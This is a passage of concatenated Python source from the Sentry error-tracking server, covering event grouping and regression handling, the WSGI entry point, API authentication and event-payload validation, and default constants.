            except IntegrityError:
                self.logger.info('duplicate.found', extra={'event_id': event.id}, exc_info=True)
                return event

            index_event_tags.delay(
                project_id=project.id,
                group_id=group.id,
                event_id=event.id,
                tags=tags,
            )

        if event_user:
            tsdb.record_multi((
                (tsdb.models.users_affected_by_group, group.id, (event_user.tag_value,)),
                (tsdb.models.users_affected_by_project, project.id, (event_user.tag_value,)),
            ), timestamp=event.datetime)

        if is_new and release:
            buffer.incr(Release, {'new_groups': 1}, {
                'id': release.id,
            })

        safe_execute(Group.objects.add_tags, group, tags,
                     _with_transaction=False)

        if not raw:
            if not project.first_event:
                project.update(first_event=date)
                first_event_received.send(project=project, group=group, sender=Project)

            post_process_group.delay(
                group=group,
                event=event,
                is_new=is_new,
                is_sample=is_sample,
                is_regression=is_regression,
            )
        else:
            self.logger.info('post_process.skip.raw_event', extra={'event_id': event.id})

        # TODO: move this to the queue
        if is_regression and not raw:
            regression_signal.send_robust(sender=Group, instance=group)

        return event

    def _get_event_user(self, project, data):
        user_data = data.get('sentry.interfaces.User')
        if not user_data:
            return

        euser = EventUser(
            project=project,
            ident=user_data.get('id'),
            email=user_data.get('email'),
            username=user_data.get('username'),
            ip_address=user_data.get('ip_address'),
        )

        if not euser.tag_value:
            return

        cache_key = 'euser:{}:{}'.format(
            project.id,
            md5_text(euser.tag_value).hexdigest(),
        )
        cached = default_cache.get(cache_key)
        if cached is None:
            try:
                with transaction.atomic(using=router.db_for_write(EventUser)):
                    euser.save()
            except IntegrityError:
                pass
            default_cache.set(cache_key, '', 3600)

        return euser

    def _find_hashes(self, project, hash_list):
        matches = []
        for hash in hash_list:
            ghash, _ = GroupHash.objects.get_or_create(
                project=project,
                hash=hash,
            )
            matches.append((ghash.group_id, ghash.hash))
        return matches

    def _ensure_hashes_merged(self, group, hash_list):
        # TODO(dcramer): there is a race condition with selecting/updating
        # in that another group could take ownership of the hash
        bad_hashes = GroupHash.objects.filter(
            project=group.project,
            hash__in=hash_list,
        ).exclude(
            group=group,
        )
        if not bad_hashes:
            return

        for hash in bad_hashes:
            if hash.group_id:
                merge_group.delay(
                    from_object_id=hash.group_id,
                    to_object_id=group.id,
                )

        return GroupHash.objects.filter(
            project=group.project,
            hash__in=[h.hash for h in bad_hashes],
        ).update(
            group=group,
        )

    def _save_aggregate(self, event, hashes, release, **kwargs):
        project = event.project

        # attempt to find a matching hash
        all_hashes = self._find_hashes(project, hashes)

        try:
            existing_group_id = six.next(h[0] for h in all_hashes if h[0])
        except StopIteration:
            existing_group_id = None

        # XXX(dcramer): this has the opportunity to create duplicate groups
        # it should be resolved by the hash merging function later but this
        # should be better tested/reviewed
        if existing_group_id is None:
            kwargs['score'] = ScoreClause.calculate(1, kwargs['last_seen'])
            with transaction.atomic():
                short_id = project.next_short_id()
                group, group_is_new = Group.objects.create(
                    project=project,
                    short_id=short_id,
                    **kwargs
                ), True
        else:
            group = Group.objects.get(id=existing_group_id)

            group_is_new = False

        # If all hashes are brand new we treat this event as new
        is_new = False
        new_hashes = [h[1] for h in all_hashes if h[0] is None]
        if new_hashes:
            affected = GroupHash.objects.filter(
                project=project,
                hash__in=new_hashes,
                group__isnull=True,
            ).update(
                group=group,
            )

            if affected != len(new_hashes):
                self._ensure_hashes_merged(group, new_hashes)
            elif group_is_new and len(new_hashes) == len(all_hashes):
                is_new = True

        # XXX(dcramer): it's important this gets called **before** the aggregate
        # is processed as otherwise values like last_seen will get mutated
        can_sample = should_sample(
            event.data.get('received') or float(event.datetime.strftime('%s')),
            group.data.get('last_received') or float(group.last_seen.strftime('%s')),
            group.times_seen,
        )

        if not is_new:
            is_regression = self._process_existing_aggregate(
                group=group,
                event=event,
                data=kwargs,
                release=release,
            )
        else:
            is_regression = False

        # Determine if we've sampled enough data to store this event
        if is_new or is_regression:
            is_sample = False
        else:
            is_sample = can_sample

        return group, is_new, is_regression, is_sample

    def _handle_regression(self, group, event, release):
        if not group.is_resolved():
            return

        elif release:
            # we only mark it as a regression if the event's release is newer than
            # the release which we originally marked this as resolved
            has_resolution = GroupResolution.objects.filter(
                Q(release__date_added__gt=release.date_added) | Q(release=release),
                group=group,
            ).exists()
            if has_resolution:
                return

        else:
            has_resolution = False

        if not plugin_is_regression(group, event):
            return

        # we now think its a regression, rely on the database to validate that
        # no one beat us to this
        date = max(event.datetime, group.last_seen)
        is_regression = bool(Group.objects.filter(
            id=group.id,
            # ensure we cant update things if the status has been set to
            # muted
            status__in=[GroupStatus.RESOLVED, GroupStatus.UNRESOLVED],
        ).exclude(
            # add to the regression window to account for races here
            active_at__gte=date - timedelta(seconds=5),
        ).update(
            active_at=date,
            # explicitly set last_seen here as ``is_resolved()`` looks
            # at the value
            last_seen=date,
            status=GroupStatus.UNRESOLVED
        ))

        group.active_at = date
        group.status = GroupStatus.UNRESOLVED

        if is_regression and release:
            # resolutions are only valid if the state of the group is still
            # resolved -- if it were to change the resolution should get removed
            try:
                resolution = GroupResolution.objects.get(
                    group=group,
                )
            except GroupResolution.DoesNotExist:
                affected = False
            else:
                cursor = connection.cursor()
                # delete() API does not return affected rows
                cursor.execute("DELETE FROM sentry_groupresolution WHERE id = %s", [resolution.id])
                affected = cursor.rowcount > 0

            if affected:
                # if we had to remove the GroupResolution (i.e. we beat the
                # the queue to handling this) then we need to also record
                # the corresponding event
                try:
                    activity = Activity.objects.filter(
                        group=group,
                        type=Activity.SET_RESOLVED_IN_RELEASE,
                        ident=resolution.id,
                    ).order_by('-datetime')[0]
                except IndexError:
                    # XXX: handle missing data, as its not overly important
                    pass
                else:
                    activity.update(data={
                        'version': release.version,
                    })

        if is_regression:
            Activity.objects.create(
                project=group.project,
                group=group,
                type=Activity.SET_REGRESSION,
                data={
                    'version': release.version if release else '',
                }
            )

        return is_regression

    def _process_existing_aggregate(self, group, event, data, release):
        date = max(event.datetime, group.last_seen)
        extra = {
            'last_seen': date,
            'score': ScoreClause(group),
            'data': data['data'],
        }
        if event.message and event.message != group.message:
            extra['message'] = event.message
        if group.level != data['level']:
            extra['level'] = data['level']
        if group.culprit != data['culprit']:
            extra['culprit'] = data['culprit']

        is_regression = self._handle_regression(group, event, release)

        group.last_seen = extra['last_seen']

        update_kwargs = {
            'times_seen': 1,
        }

        buffer.incr(Group, update_kwargs, {
            'id': group.id,
        }, extra)

        return is_regression






"""
sentry.wsgi
~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import os
import os.path
import sys


# Add the project to the python path
sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir))

# Configure the application only if it seemingly isnt already configured
from django.conf import settings
if not settings.configured:
    from sentry.runner import configure
    configure()

if settings.SESSION_FILE_PATH and not os.path.exists(settings.SESSION_FILE_PATH):
    try:
        os.makedirs(settings.SESSION_FILE_PATH)
    except OSError:
        pass

from django.core.handlers.wsgi import WSGIHandler


class FileWrapperWSGIHandler(WSGIHandler):
    """A WSGIHandler implementation that handles a StreamingHttpResponse
    from django to leverage wsgi.file_wrapper for delivering large streaming
    responses.

    Note: this was added natively into Django 1.8, so if by some reason,
    we upgraded, this wouldn't be relevant anymore."""
    def __call__(self, environ, start_response):
        response = super(FileWrapperWSGIHandler, self).__call__(environ, start_response)
        if hasattr(response, 'streaming') and response.streaming:
            try:
                response = environ['wsgi.file_wrapper'](response.streaming_content)
            except KeyError:
                # In our case, we're shipping with uwsgi, so it's safer to assume
                # that wsgi.file_wrapper does exist. It'd be exceptional otherwise.
                pass
        return response

# Run WSGI handler for the application
from raven.contrib.django.middleware.wsgi import Sentry
application = Sentry(FileWrapperWSGIHandler())






"""
sentry.coreapi
~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
# TODO: We should make the API a class, and UDP/HTTP just inherit from it
#       This will make it so we can more easily control logging with various
#       metadata (rather than generic log messages which aren't useful).
from __future__ import absolute_import, print_function

import base64
import logging
import six
import uuid
import zlib

from collections import MutableMapping
from datetime import datetime, timedelta
from django.utils.crypto import constant_time_compare
from gzip import GzipFile
from six import BytesIO
from time import time

from sentry.app import env
from sentry.cache import default_cache
from sentry.constants import (
    CLIENT_RESERVED_ATTRS, DEFAULT_LOG_LEVEL, LOG_LEVELS_MAP,
    MAX_TAG_VALUE_LENGTH, MAX_TAG_KEY_LENGTH, VALID_PLATFORMS
)
from sentry.interfaces.base import get_interface, InterfaceValidationError
from sentry.interfaces.csp import Csp
from sentry.models import EventError, Project, ProjectKey, TagKey, TagValue
from sentry.tasks.store import preprocess_event
from sentry.utils import json
from sentry.utils.auth import parse_auth_header
from sentry.utils.csp import is_valid_csp_report
from sentry.utils.http import is_valid_ip
from sentry.utils.strings import decompress
from sentry.utils.validators import is_float, is_event_id


class APIError(Exception):
    http_status = 400
    msg = 'Invalid request'
    name = None

    def __init__(self, msg=None, name=None):
        if msg:
            self.msg = msg
        if self.name:
            self.name = name

    def __str__(self):
        return self.msg or ''


class APIUnauthorized(APIError):
    http_status = 401
    msg = 'Unauthorized'


class APIForbidden(APIError):
    http_status = 403


class APIRateLimited(APIError):
    http_status = 429
    msg = 'Creation of this event was denied due to rate limiting'
    name = 'rate_limit'

    def __init__(self, retry_after=None):
        self.retry_after = retry_after


class InvalidTimestamp(Exception):
    pass


class InvalidFingerprint(Exception):
    pass


class Auth(object):
    def __init__(self, auth_vars, is_public=False):
        self.client = auth_vars.get('sentry_client')
        self.version = six.text_type(auth_vars.get('sentry_version'))
        self.secret_key = auth_vars.get('sentry_secret')
        self.public_key = auth_vars.get('sentry_key')
        self.is_public = is_public


class ClientContext(object):
    def __init__(self, agent=None, version=None, project_id=None,
                 ip_address=None):
        # user-agent (i.e. raven-python)
        self.agent = agent
        # protocol version
        self.version = version
        # project instance
        self.project_id = project_id
        self.project = None
        self.ip_address = ip_address

    def bind_project(self, project):
        self.project = project
        self.project_id = project.id

    def bind_auth(self, auth):
        self.agent = auth.client
        self.version = auth.version

    def get_tags_context(self):
        return {
            'project': self.project_id,
            'agent': self.agent,
            'protocol': self.version
        }


class ClientLogHelper(object):
    def __init__(self, context):
        self.context = context
        self.logger = logging.getLogger('sentry.api')

    def debug(self, *a, **k):
        self.logger.debug(*a, **self._metadata(**k))

    def info(self, *a, **k):
        self.logger.info(*a, **self._metadata(**k))

    def warning(self, *a, **k):
        self.logger.warning(*a, **self._metadata(**k))

    def error(self, *a, **k):
        self.logger.error(*a, **self._metadata(**k))

    def _metadata(self, tags=None, extra=None, **kwargs):
        if not extra:
            extra = {}
        if not tags:
            tags = {}

        context = self.context

        project = context.project
        if project:
            project_label = '%s/%s' % (project.organization.slug, project.slug)
        else:
            project_label = 'id=%s' % (context.project_id,)

        tags.update(context.get_tags_context())
        tags['project'] = project_label

        extra['request'] = env.request
        extra['tags'] = tags
        extra['agent'] = context.agent
        extra['protocol'] = context.version
        extra['project'] = project_label

        kwargs['extra'] = extra

        return kwargs


class ClientApiHelper(object):
    def __init__(self, agent=None, version=None, project_id=None,
                 ip_address=None):
        self.context = ClientContext(
            agent=agent, version=version, project_id=project_id,
            ip_address=ip_address,
        )
        self.log = ClientLogHelper(self.context)

    def auth_from_request(self, request):
        if request.META.get('HTTP_X_SENTRY_AUTH', '')[:7].lower() == 'sentry ':
            result = parse_auth_header(request.META['HTTP_X_SENTRY_AUTH'])
        elif request.META.get('HTTP_AUTHORIZATION', '')[:7].lower() == 'sentry ':
            result = parse_auth_header(request.META['HTTP_AUTHORIZATION'])
        else:
            result = {
                k: request.GET[k]
                for k in six.iterkeys(request.GET)
                if k[:7] == 'sentry_'
            }
        if not result:
            raise APIUnauthorized('Unable to find authentication information')

        origin = self.origin_from_request(request)
        auth = Auth(result, is_public=bool(origin))
        # default client to user agent
        if not auth.client:
            auth.client = request.META.get('HTTP_USER_AGENT')
        return auth

    def origin_from_request(self, request):
        """
        Returns either the Origin or Referer value from the request headers.
        """
        return request.META.get('HTTP_ORIGIN', request.META.get('HTTP_REFERER'))

    def project_from_auth(self, auth):
        if not auth.public_key:
            raise APIUnauthorized('Invalid api key')

        try:
            pk = ProjectKey.objects.get_from_cache(public_key=auth.public_key)
        except ProjectKey.DoesNotExist:
            raise APIUnauthorized('Invalid api key')

        # a secret key may not be present which will be validated elsewhere
        if not constant_time_compare(pk.secret_key, auth.secret_key or pk.secret_key):
            raise APIUnauthorized('Invalid api key')

        if not pk.is_active:
            raise APIUnauthorized('API key is disabled')

        if not pk.roles.store:
            raise APIUnauthorized('Key does not allow event storage access')

        return Project.objects.get_from_cache(id=pk.project_id)

    def decompress_deflate(self, encoded_data):
        try:
            return zlib.decompress(encoded_data).decode('utf-8')
        except Exception as e:
            # This error should be caught as it suggests that there's a
            # bug somewhere in the client's code.
            self.log.debug(six.text_type(e), exc_info=True)
            raise APIError('Bad data decoding request (%s, %s)' % (
                type(e).__name__, e
            ))

    def decompress_gzip(self, encoded_data):
        try:
            fp = BytesIO(encoded_data)
            try:
                f = GzipFile(fileobj=fp)
                return f.read().decode('utf-8')
            finally:
                f.close()
        except Exception as e:
            # This error should be caught as it suggests that there's a
            # bug somewhere in the client's code.
            self.log.debug(six.text_type(e), exc_info=True)
            raise APIError('Bad data decoding request (%s, %s)' %
                (type(e).__name__, e)
            )

    def decode_and_decompress_data(self, encoded_data):
        try:
            try:
                return decompress(encoded_data).decode('utf-8')
            except zlib.error:
                return base64.b64decode(encoded_data).decode('utf-8')
        except Exception as e:
            # This error should be caught as it suggests that there's a
            # bug somewhere in the client's code.
            self.log.debug(six.text_type(e), exc_info=True)
            raise APIError('Bad data decoding request (%s, %s)' %
                (type(e).__name__, e)
            )

    def safely_load_json_string(self, json_string):
        try:
            if isinstance(json_string, six.binary_type):
                json_string = json_string.decode('utf-8')
            obj = json.loads(json_string)
            assert isinstance(obj, dict)
        except Exception as e:
            # This error should be caught as it suggests that there's a
            # bug somewhere in the client's code.
            self.log.debug(six.text_type(e), exc_info=True)
            raise APIError('Bad data reconstructing object (%s, %s)' %
                (type(e).__name__, e)
            )
        return obj

    def _process_data_timestamp(self, data, current_datetime=None):
        value = data['timestamp']
        if not value:
            del data['timestamp']
            return data
        elif is_float(value):
            try:
                value = datetime.fromtimestamp(float(value))
            except Exception:
                raise InvalidTimestamp('Invalid value for timestamp: %r' % data['timestamp'])
        elif not isinstance(value, datetime):
            # all timestamps are in UTC, but the marker is optional
            if value.endswith('Z'):
                value = value[:-1]
            if '.' in value:
                # Python doesn't support long microsecond values
                # https://github.com/getsentry/sentry/issues/1610
                ts_bits = value.split('.', 1)
                value = '%s.%s' % (ts_bits[0], ts_bits[1][:2])
                fmt = '%Y-%m-%dT%H:%M:%S.%f'
            else:
                fmt = '%Y-%m-%dT%H:%M:%S'
            try:
                value = datetime.strptime(value, fmt)
            except Exception:
                raise InvalidTimestamp('Invalid value for timestamp: %r' % data['timestamp'])

        if current_datetime is None:
            current_datetime = datetime.now()

        if value > current_datetime + timedelta(minutes=1):
            raise InvalidTimestamp('Invalid value for timestamp (in future): %r' % value)

        if value < current_datetime - timedelta(days=30):
            raise InvalidTimestamp('Invalid value for timestamp (too old): %r' % value)

        data['timestamp'] = float(value.strftime('%s'))

        return data

    def _process_fingerprint(self, data):
        if not isinstance(data['fingerprint'], (list, tuple)):
            raise InvalidFingerprint

        result = []
        for bit in data['fingerprint']:
            if not isinstance(bit, six.string_types + six.integer_types + (float,)):
                raise InvalidFingerprint
            result.append(six.text_type(bit))
        return result

    def parse_client_as_sdk(self, value):
        if not value:
            return
        try:
            name, version = value.split('/', 1)
        except ValueError:
            try:
                name, version = value.split(' ', 1)
            except ValueError:
                return
        return {
            'name': name,
            'version': version,
        }

    def should_filter(self, project, data, ip_address=None):
        # TODO(dcramer): read filters from options such as:
        # - ignore errors from spiders/bots
        # - ignore errors from legacy browsers
        if ip_address and not is_valid_ip(ip_address, project):
            return True

        return False

    def validate_data(self, project, data):
        # TODO(dcramer): move project out of the data packet
        data['project'] = project.id

        data['errors'] = []

        if data.get('culprit'):
            if not isinstance(data['culprit'], six.string_types):
                raise APIForbidden('Invalid value for culprit')

        if not data.get('event_id'):
            data['event_id'] = uuid.uuid4().hex
        elif not isinstance(data['event_id'], six.string_types):
            raise APIForbidden('Invalid value for event_id')

        if len(data['event_id']) > 32:
            self.log.debug(
                'Discarded value for event_id due to length (%d chars)',
                len(data['event_id']))
            data['errors'].append({
                'type': EventError.VALUE_TOO_LONG,
                'name': 'event_id',
                'value': data['event_id'],
            })
            data['event_id'] = uuid.uuid4().hex
        elif not is_event_id(data['event_id']):
            self.log.debug(
                'Discarded invalid value for event_id: %r',
                data['event_id'], exc_info=True)
            data['errors'].append({
                'type': EventError.INVALID_DATA,
                'name': 'event_id',
                'value': data['event_id'],
            })
            data['event_id'] = uuid.uuid4().hex

        if 'timestamp' in data:
            try:
                self._process_data_timestamp(data)
            except InvalidTimestamp as e:
                self.log.debug(
                    'Discarded invalid value for timestamp: %r',
                    data['timestamp'], exc_info=True)
                data['errors'].append({
                    'type': EventError.INVALID_DATA,
                    'name': 'timestamp',
                    'value': data['timestamp'],
                })
                del data['timestamp']

        if 'fingerprint' in data:
            try:
                self._process_fingerprint(data)
            except InvalidFingerprint as e:
                self.log.debug(
                    'Discarded invalid value for fingerprint: %r',
                    data['fingerprint'], exc_info=True)
                data['errors'].append({
                    'type': EventError.INVALID_DATA,
                    'name': 'fingerprint',
                    'value': data['fingerprint'],
                })
                del data['fingerprint']

        if 'platform' not in data or data['platform'] not in VALID_PLATFORMS:
            data['platform'] = 'other'

        if data.get('modules') and type(data['modules']) != dict:
            self.log.debug(
                'Discarded invalid type for modules: %s',
                type(data['modules']))
            data['errors'].append({
                'type': EventError.INVALID_DATA,
                'name': 'modules',
                'value': data['modules'],
            })
            del data['modules']

        if data.get('extra') is not None and type(data['extra']) != dict:
            self.log.debug(
                'Discarded invalid type for extra: %s',
                type(data['extra']))
            data['errors'].append({
                'type': EventError.INVALID_DATA,
                'name': 'extra',
                'value': data['extra'],
            })
            del data['extra']

        if data.get('tags') is not None:
            if type(data['tags']) == dict:
                data['tags'] = list(data['tags'].items())
            elif not isinstance(data['tags'], (list, tuple)):
                self.log.debug(
                    'Discarded invalid type for tags: %s', type(data['tags']))
                data['errors'].append({
                    'type': EventError.INVALID_DATA,
                    'name': 'tags',
                    'value': data['tags'],
                })
                del data['tags']

        if data.get('tags'):
            # remove any values which are over 32 characters
            tags = []
            for pair in data['tags']:
                try:
                    k, v = pair
                except ValueError:
                    self.log.debug('Discarded invalid tag value: %r', pair)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': 'tags',
                        'value': pair,
                    })
                    continue

                if not isinstance(k, six.string_types):
                    try:
                        k = six.text_type(k)
                    except Exception:
                        self.log.debug('Discarded invalid tag key: %r', type(k))
                        data['errors'].append({
                            'type': EventError.INVALID_DATA,
                            'name': 'tags',
                            'value': pair,
                        })
                        continue

                if not isinstance(v, six.string_types):
                    try:
                        v = six.text_type(v)
                    except Exception:
                        self.log.debug('Discarded invalid tag value: %s=%r',
                                      k, type(v))
                        data['errors'].append({
                            'type': EventError.INVALID_DATA,
                            'name': 'tags',
                            'value': pair,
                        })
                        continue

                if len(k) > MAX_TAG_KEY_LENGTH or len(v) > MAX_TAG_VALUE_LENGTH:
                    self.log.debug('Discarded invalid tag: %s=%s', k, v)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': 'tags',
                        'value': pair,
                    })
                    continue

                # support tags with spaces by converting them
                k = k.replace(' ', '-')

                if TagKey.is_reserved_key(k):
                    self.log.debug('Discarding reserved tag key: %s', k)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': 'tags',
                        'value': pair,
                    })
                    continue

                if not TagKey.is_valid_key(k):
                    self.log.debug('Discarded invalid tag key: %s', k)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': 'tags',
                        'value': pair,
                    })
                    continue

                if not TagValue.is_valid_value(v):
                    self.log.debug('Discard invalid tag value: %s', v)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': 'tags',
                        'value': pair,
                    })
                    continue

                tags.append((k, v))
            data['tags'] = tags

        for k in list(iter(data)):
            if k in CLIENT_RESERVED_ATTRS:
                continue

            value = data.pop(k)

            if not value:
                self.log.debug('Ignored empty interface value: %s', k)
                continue

            try:
                interface = get_interface(k)
            except ValueError:
                self.log.debug('Ignored unknown attribute: %s', k)
                data['errors'].append({
                    'type': EventError.INVALID_ATTRIBUTE,
                    'name': k,
                })
                continue

            if type(value) != dict:
                # HACK(dcramer): the exception/breadcrumbs interface supports a
                # list as the value. We should change this in a new protocol
                # version.
                if type(value) in (list, tuple):
                    value = {'values': value}
                else:
                    self.log.debug(
                        'Invalid parameter for value: %s (%r)', k, type(value))
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': k,
                        'value': value,
                    })
                    continue

            try:
                inst = interface.to_python(value)
                data[inst.get_path()] = inst.to_json()
            except Exception as e:
                if isinstance(e, InterfaceValidationError):
                    log = self.log.debug
                else:
                    log = self.log.error
                log('Discarded invalid value for interface: %s (%r)', k, value,
                    exc_info=True)
                data['errors'].append({
                    'type': EventError.INVALID_DATA,
                    'name': k,
                    'value': value,
                })

        # TODO(dcramer): ideally this logic would happen in normalize, but today
        # we don't do "validation" there (create errors)

        # message is coerced to an interface, as its used for pure
        # index of searchable strings
        # See GH-3248
        message = data.pop('message', None)
        if message:
            if 'sentry.interfaces.Message' not in data:
                value = {
                    'message': message,
                }
            elif not data['sentry.interfaces.Message'].get('formatted'):
                value = data['sentry.interfaces.Message']
                value['formatted'] = message
            else:
                value = None

            if value is not None:
                k = 'sentry.interfaces.Message'
                interface = get_interface(k)
                try:
                    inst = interface.to_python(value)
                    data[inst.get_path()] = inst.to_json()
                except Exception as e:
                    if isinstance(e, InterfaceValidationError):
                        log = self.log.debug
                    else:
                        log = self.log.error
                    log('Discarded invalid value for interface: %s (%r)', k, value,
                        exc_info=True)
                    data['errors'].append({
                        'type': EventError.INVALID_DATA,
                        'name': k,
                        'value': value,
                    })

        level = data.get('level') or DEFAULT_LOG_LEVEL
        if isinstance(level, six.string_types) and not level.isdigit():
            # assume it's something like 'warning'
            try:
                data['level'] = LOG_LEVELS_MAP[level]
            except KeyError as e:
                self.log.debug(
                    'Discarded invalid logger value: %s', level)
                data['errors'].append({
                    'type': EventError.INVALID_DATA,
                    'name': 'level',
                    'value': level,
                })
                data['level'] = LOG_LEVELS_MAP.get(
                    DEFAULT_LOG_LEVEL, DEFAULT_LOG_LEVEL)

        if data.get('release'):
            data['release'] = six.text_type(data['release'])
            if len(data['release']) > 64:
                data['errors'].append({
                    'type': EventError.VALUE_TOO_LONG,
                    'name': 'release',
                    'value': data['release'],
                })
                del data['release']
        return data

    def ensure_does_not_have_ip(self, data):
        if 'sentry.interfaces.Http' in data:
            if 'env' in data['sentry.interfaces.Http']:
                data['sentry.interfaces.Http']['env'].pop('REMOTE_ADDR', None)

        if 'sentry.interfaces.User' in data:
            data['sentry.interfaces.User'].pop('ip_address', None)

    def ensure_has_ip(self, data, ip_address, set_if_missing=True):
        got_ip = False
        ip = data.get('sentry.interfaces.Http', {}) \
            .get('env', {}).get('REMOTE_ADDR')
        if ip:
            if ip == '{{auto}}':
                data['sentry.interfaces.Http']['env']['REMOTE_ADDR'] = ip_address
            got_ip = True

        ip = data.get('sentry.interfaces.User', {}).get('ip_address')
        if ip:
            if ip == '{{auto}}':
                data['sentry.interfaces.User']['ip_address'] = ip_address
            got_ip = True

        if not got_ip and set_if_missing:
            data.setdefault('sentry.interfaces.User', {})['ip_address'] = ip_address

    def insert_data_to_database(self, data):
        # we might be passed LazyData
        if isinstance(data, LazyData):
            data = dict(data.items())
        cache_key = 'e:{1}:{0}'.format(data['project'], data['event_id'])
        default_cache.set(cache_key, data, timeout=3600)
        preprocess_event.delay(cache_key=cache_key, start_time=time())


class CspApiHelper(ClientApiHelper):
    def origin_from_request(self, request):
        # We don't use an origin here
        return None

    def auth_from_request(self, request):
        key = request.GET.get('sentry_key')
        if not key:
            raise APIUnauthorized('Unable to find authentication information')

        auth = Auth({
            'sentry_key': key,
        }, is_public=True)
        auth.client = request.META.get('HTTP_USER_AGENT')
        return auth

    def should_filter(self, project, data, ip_address=None):
        if not is_valid_csp_report(data, project):
            return True
        return super(CspApiHelper, self).should_filter(project, data, ip_address)

    def validate_data(self, project, data):
        # pop off our meta data used to hold Sentry specific stuff
        meta = data.pop('_meta', {})

        # All keys are sent with hyphens, so we want to conver to underscores
        report = dict(map(lambda v: (v[0].replace('-', '_'), v[1]), six.iteritems(data)))

        try:
            inst = Csp.to_python(report)
        except Exception as exc:
            raise APIForbidden('Invalid CSP Report: %s' % exc)

        # Construct a faux Http interface based on the little information we have
        headers = {}
        if self.context.agent:
            headers['User-Agent'] = self.context.agent
        if inst.referrer:
            headers['Referer'] = inst.referrer

        data = {
            'logger': 'csp',
            'project': project.id,
            'message': inst.get_message(),
            'culprit': inst.get_culprit(),
            'tags': inst.get_tags(),
            'release': meta.get('release'),
            inst.get_path(): inst.to_json(),
            # This is a bit weird, since we don't have nearly enough
            # information to create an Http interface, but
            # this automatically will pick up tags for the User-Agent
            # which is actually important here for CSP
            'sentry.interfaces.Http': {
                'url': inst.document_uri,
                'headers': headers,
            },
            'sentry.interfaces.User': {
                'ip_address': self.context.ip_address,
            },
            'errors': [],
        }

        # Copy/pasted from above in ClientApiHelper.validate_data
        if data.get('release'):
            data['release'] = six.text_type(data['release'])
            if len(data['release']) > 64:
                data['errors'].append({
                    'type': EventError.VALUE_TOO_LONG,
                    'name': 'release',
                    'value': data['release'],
                })
                del data['release']
        return data


class LazyData(MutableMapping):
    def __init__(self, data, content_encoding, helper):
        self._data = data
        self._content_encoding = content_encoding
        self._helper = helper
        self._decoded = False

    def _decode(self):
        data = self._data
        content_encoding = self._content_encoding
        helper = self._helper

        # TODO(dcramer): CSP is passing already decoded JSON, which sort of
        # defeats the purpose of a lot of lazy evaluation. It needs refactored
        # to avoid doing that.
        if isinstance(data, six.binary_type):
            if content_encoding == 'gzip':
                data = helper.decompress_gzip(data)
            elif content_encoding == 'deflate':
                data = helper.decompress_deflate(data)
            elif data[0] != b'{':
                data = helper.decode_and_decompress_data(data)
            else:
                data = data.decode('utf-8')
        if isinstance(data, six.text_type):
            data = helper.safely_load_json_string(data)

        self._data = data
        self._decoded = True

    def __getitem__(self, name):
        if not self._decoded:
            self._decode()
        return self._data[name]

    def __setitem__(self, name, value):
        if not self._decoded:
            self._decode()
        self._data[name] = value

    def __delitem__(self, name):
        if not self._decoded:
            self._decode()
        del self._data[name]

    def __contains__(self, name):
        if not self._decoded:
            self._decode()
        return name in self._data

    def __len__(self):
        if not self._decoded:
            self._decode()
        return len(self._data)

    def __iter__(self):
        if not self._decoded:
            self._decode()
        return iter(self._data)






"""
sentry.constants
~~~~~~~~~~~~~~~~

These settings act as the default (base) settings for the Sentry-provided
web-server

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import os.path
import six

from collections import OrderedDict
from django.conf import settings
from django.utils.translation import ugettext_lazy as _
from operator import attrgetter


def get_all_languages():
    results = []
    for path in os.listdir(os.path.join(MODULE_ROOT, 'locale')):
        if path.startswith('.'):
            continue
        if '_' in path:
            pre, post = path.split('_', 1)
            path = '{}-{}'.format(pre, post.lower())
        results.append(path)
    return results

MODULE_ROOT = os.path.dirname(__import__('sentry').__file__)
DATA_ROOT = os.path.join(MODULE_ROOT, 'data')

SORT_OPTIONS = OrderedDict((
    ('priority', _('Priority')),
    ('date', _('Last Seen')),
    ('new', _('First Seen')),
    ('freq', _('Frequency')),
))

SEARCH_SORT_OPTIONS = OrderedDict((
    ('score', _('Score')),
    ('date', _('Last Seen')),
    ('new', _('First Seen')),
))

# XXX: Deprecated: use GroupStatus instead
STATUS_UNRESOLVED = 0
STATUS_RESOLVED = 1
STATUS_MUTED = 2

STATUS_CHOICES = {
    'resolved': STATUS_RESOLVED,
    'unresolved': STATUS_UNRESOLVED,
    'muted': STATUS_MUTED,
}

# A list of values which represent an unset or empty password on
# a User instance.
EMPTY_PASSWORD_VALUES = ('!', '', '$')

# Normalize counts to the 15 minute marker. This value MUST be less than 60. A
# value of 0 would store counts for every minute, and is the lowest level of
# accuracy provided.
MINUTE_NORMALIZATION = 15

MAX_TAG_KEY_LENGTH = 32
MAX_TAG_VALUE_LENGTH = 200
MAX_CULPRIT_LENGTH = 200

# Team slugs which may not be used. Generally these are top level URL patterns
# which we don't want to worry about conflicts on.
RESERVED_ORGANIZATION_SLUGS = frozenset((
    'admin', 'manage', 'login', 'account', 'register', 'api',
    'accept', 'organizations', 'teams', 'projects', 'help',
    'docs', 'logout', '404', '500', '_static', 'out', 'debug',
    'remote', 'get-cli', 'blog', 'welcome', 'features',
    'customers', 'integrations', 'signup', 'pricing',
    'subscribe', 'enterprise', 'about', 'jobs', 'thanks', 'guide',
    'privacy', 'security', 'terms', 'from', 'sponsorship', 'for',
    'at', 'platforms', 'branding', 'vs', 'answers', '_admin',
))

LOG_LEVELS = {
    logging.DEBUG: 'debug',
    logging.INFO: 'info',
    logging.WARNING: 'warning',
    logging.ERROR: 'error',
    logging.FATAL: 'fatal',
}
DEFAULT_LOG_LEVEL = 'error'
DEFAULT_LOGGER_NAME = ''
LOG_LEVELS_MAP = {v: k for k, v in six.iteritems(LOG_LEVELS)}


# Default alerting threshold values
DEFAULT_ALERT_PROJECT_THRESHOLD = (500, 25)  # 500%, 25 events
